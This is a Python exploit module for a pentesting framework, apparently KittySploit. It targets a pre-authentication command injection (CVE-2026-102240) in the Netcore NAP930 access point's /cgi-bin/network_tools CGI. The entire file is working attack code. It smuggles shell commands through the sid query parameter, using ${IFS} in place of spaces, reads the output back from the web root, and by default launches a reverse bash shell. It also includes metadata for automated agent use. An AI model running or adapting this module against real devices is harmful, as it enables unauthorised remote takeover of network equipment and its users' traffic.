Netcore NAP930 CVE-2026-102240 network_tools RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Netcore NAP930 CVE-2026-102240 network_tools pre-auth command injection."""

import re
import secrets

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Netcore NAP930 CVE-2026-102240 network_tools RCE",
        "description": (
            "Exploits CVE-2026-102240 in Netcore NAP930 via GET "
            "/cgi-bin/network_tools?sid=';CMD;:'. The shell CGI evals QUERY_STRING "
            "before the session-id authorization check. Quotes and semicolons must "
            "be sent raw (not URL-encoded)."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-102240"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/reverse_bash",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-102240",
            "https://github.com/senxitoyshuyi-ui/HACKALL",
        ],
        "tags": [
            "netcore",
            "router",
            "access-point",
            "cmdi",
            "unauth",
            "rce",
            "cve-2026-102240",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 3,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce"],
            "requires": {
                "endpoint_pattern_any": ["/cgi-bin/network_tools"],
            },
            "chain": {
                "suggested_followups": [
                    "scanner/http/netcore_nap930_cve_2026_102240_detect",
                ],
            },
        },
    }

    command = OptString("", "Command instead of selected payload", False)
    output_file = OptString(
        "",
        "Remote file under /www/ for command output (random if empty)",
        False,
        advanced=True,
    )

    def _inject_path(self, cmd: str) -> str:
        escaped = str(cmd).replace(" ", "${IFS}")
        return f"/cgi-bin/network_tools?sid=';{escaped};:'"

    def execute(self, cmd: str) -> str:
        outfile = str(self.output_file or "").strip() or f"/www/.kitty-{secrets.token_hex(5)}.out"
        inner = str(cmd or "id")
        program = f"{inner}>${{IFS}}{outfile}"
        self.http_request(method="GET", path=self._inject_path(program), allow_redirects=False)
        web_path = outfile[4:] if outfile.startswith("/www") else outfile
        fetch = self.http_request(method="GET", path=web_path, allow_redirects=False)
        return (fetch.text or "") if fetch else ""

    def check(self):
        token = self.random_text(8)
        body = self.execute(f"echo${{IFS}}{token}")
        if token in (body or ""):
            return {
                "vulnerable": True,
                "reason": "network_tools pre-auth command injection",
                "confidence": "high",
            }
        return {"vulnerable": False, "reason": "Marker not retrieved from /www/", "confidence": "medium"}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f"echo${{IFS}}{token}") or "")

    def run(self):
        command = str(self.command or "").strip()
        if not command and hasattr(self, "payload") and self.payload:
            command = str(self.payload)
        if not command:
            command = "id"
        if not self.check_execute():
            probe = self.execute("id")
            if not re.search(r"uid=\d+", probe or ""):
                self.not_vulnerable()
                return False
        if hasattr(self, "handler_execute") and self.payload and not self.command:
            return self.handler_execute()
        self.http_request(method="GET", path=self._inject_path(command.replace(" ", "${IFS}")), allow_redirects=False)
        self.set_info(
            severity="critical",
            reason="Netcore NAP930 network_tools command submitted",
            path="/cgi-bin/network_tools",
            command=command,
        )
        return True